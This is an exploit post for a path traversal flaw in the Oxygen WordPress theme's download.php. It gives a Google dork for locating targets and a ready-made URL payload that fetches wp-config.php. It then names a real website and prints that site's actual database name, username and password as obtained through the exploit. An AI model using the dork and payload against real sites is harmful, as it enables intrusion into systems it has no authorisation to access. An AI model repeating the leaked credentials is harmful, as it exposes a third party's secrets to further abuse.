WordPress 4.2.2 Oxygen-Theme Themes DB Config File Download

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# Exploit Title : WordPress 4.2.2 Oxygen-Theme Themes Database Configuration File Download
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 20/03/2019
# Vendor Homepage : themeforest.net
# Software Information Link : themeforest.net/item/oxygen-woocommerce-wordpress-theme/7851484
# Software Affected Version : 4.x.x - 4.2.2
# Software Price Type : Paid Download - 60$
# Solution : Update to 5.0.x version
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Google Dorks : inurl:/wp-content/themes/oxygen-theme/
# Vulnerability Type :
CWE-16 [ Configuration ]
CWE-200 [ Information Exposure ]
CWE-23 [ Relative Path Traversal ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos

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# Impact :
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* WordPress 4.2.2 Oxygen-Theme Themes is prone to a vulnerability that lets attackers download database config file because

the application fails to sufficiently sanitize user-supplied input. An attacker can exploit this issue to download arbitrary files

within the context of the web server process and obtain potentially sensitive informations.

* An information exposure is the intentional or unintentional disclosure  of information to an actor that is not explicitly authorized

to have access to that information. * The software has Relative Path Traversal vulnerability and it uses external input to construct

a pathname that should be within a restricted directory, but it does not properly neutralize sequences such as ".." that can resolve

to a location that is outside of that directory.

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# Vulnerable File :
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/download.php

# Vulnerable Parameter :
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?file=

# Database Configuration File Download Exploit :
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/wp-content/themes/oxygen-theme/download.php?file=../../../wp-config.php

Informations About MySQL Database Configuration File =>
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** The name of the database for WordPress */
define('DB_NAME', '');

/** MySQL database username */
define('DB_USER', '');

/** MySQL database password */
define('DB_PASSWORD', '');

/** MySQL hostname */
define('DB_HOST', '');

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# Example Vulnerable Sites :
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[+] klimatrol.com/wp-content/themes/oxygen-theme/download.php?file=../../../wp-config.php

// ** MySQL settings - You can get this info from your web host ** //
/
** The name of the database for WordPress */
define('DB_NAME', 'klimatro_wrdp1');

/** MySQL database username */
define('DB_USER', 'klimatro_wrdp1');

/** MySQL database password */
define('DB_PASSWORD', 'Ijye1KJY6{BN');

/** MySQL hostname */
define('DB_HOST', 'localhost');

/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8');

/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');

/**#@+

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# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team

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